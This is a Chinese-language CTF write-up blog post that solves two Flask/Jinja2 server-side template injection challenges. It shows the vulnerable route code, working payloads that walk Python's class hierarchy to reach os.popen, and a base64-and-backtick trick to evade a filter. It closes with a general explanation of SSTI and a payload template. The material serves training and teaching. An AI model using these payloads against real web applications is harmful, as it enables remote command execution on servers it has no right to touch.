【CTF刷题5】刷题记录(9.11)

ctfshow愚人杯 easy_ssti

考点:ssti漏洞

image-20240911195417125

查看源码

image-20240911195446013

下载这个文件

image-20240911195520690

打开查看代码,分析可能在/hello/路径下存在ssti漏洞

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

进行{{}}测试,发现真是SSTI漏洞

image-20240911195713451

这道题在执行cat /flag命令时会Not Found。
猜测了一下,应该是将语句中的"/"当成目录了。
那就试试base64+管道符绕过。
注意要包一层反引号(命令执行),不然会被当做字符串echo出来。

('cat /fl*')替换成(' ` echo Y2F0IC9mKg== | base64 -d ` ')

构造payload

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen'](' ` echo Y2F0IC9mKg== | base64 -d ` ').read()}}

最后得到flag。

image-20240911200749213

[GDOUCTF 2023]<ez_ze>

考点:ssti漏洞,fenjing一把梭

image-20240911204933643

输入1111,试试看

image-20240911205018866

表面在/get_flag路径下可能存在ssti漏洞。

image-20240911205753411

直接使用fenjing工具拿到flag。

image-20240911210026354

知识点:SSTI漏洞

SSTI漏洞原理 服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

模板渲染函数

这里主要有两种模板渲染函数,render_template_string()与render_template()

render_template是用来渲染一个指定文件的。

render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。

比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

SSTI漏洞攻击方法

根据基类、子类的继承关系不断调用实现re的目的。

常用魔术方法

class :返回类型所属的对象
mro :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base :返回该对象所继承的父类
mro :返回该对象的所有父类

subclasses() 获取当前类的所有子类
init 类的初始化方法
globals 对包含(保存)函数全局变量的字典的引用

解题思路

1.用__class__方法找到当前类
2.使用__base__方法,直到找到基类(如object)。避免麻烦,也可直接使用__mro__方法一步到位。
3.用__subclasses__()方法找出当前所有子类。并找到类<class ‘os._wrap_close’>,找出其下标。这个类可以执行命令,后面执行命令也是靠这个类。
4.用__init__方法初始化
5.用__globals__方法进行全局变量引用
6.用popen函数来执行系统命令,在后面加上具体的函数名即可找到对应的函数
7.最后一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出

大致payload格式:

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}

tips:实际题目可能不会这么简单,会有许多许多的过滤限制,所以学会思想和原理后还要根据题目加工。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梦 & 醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值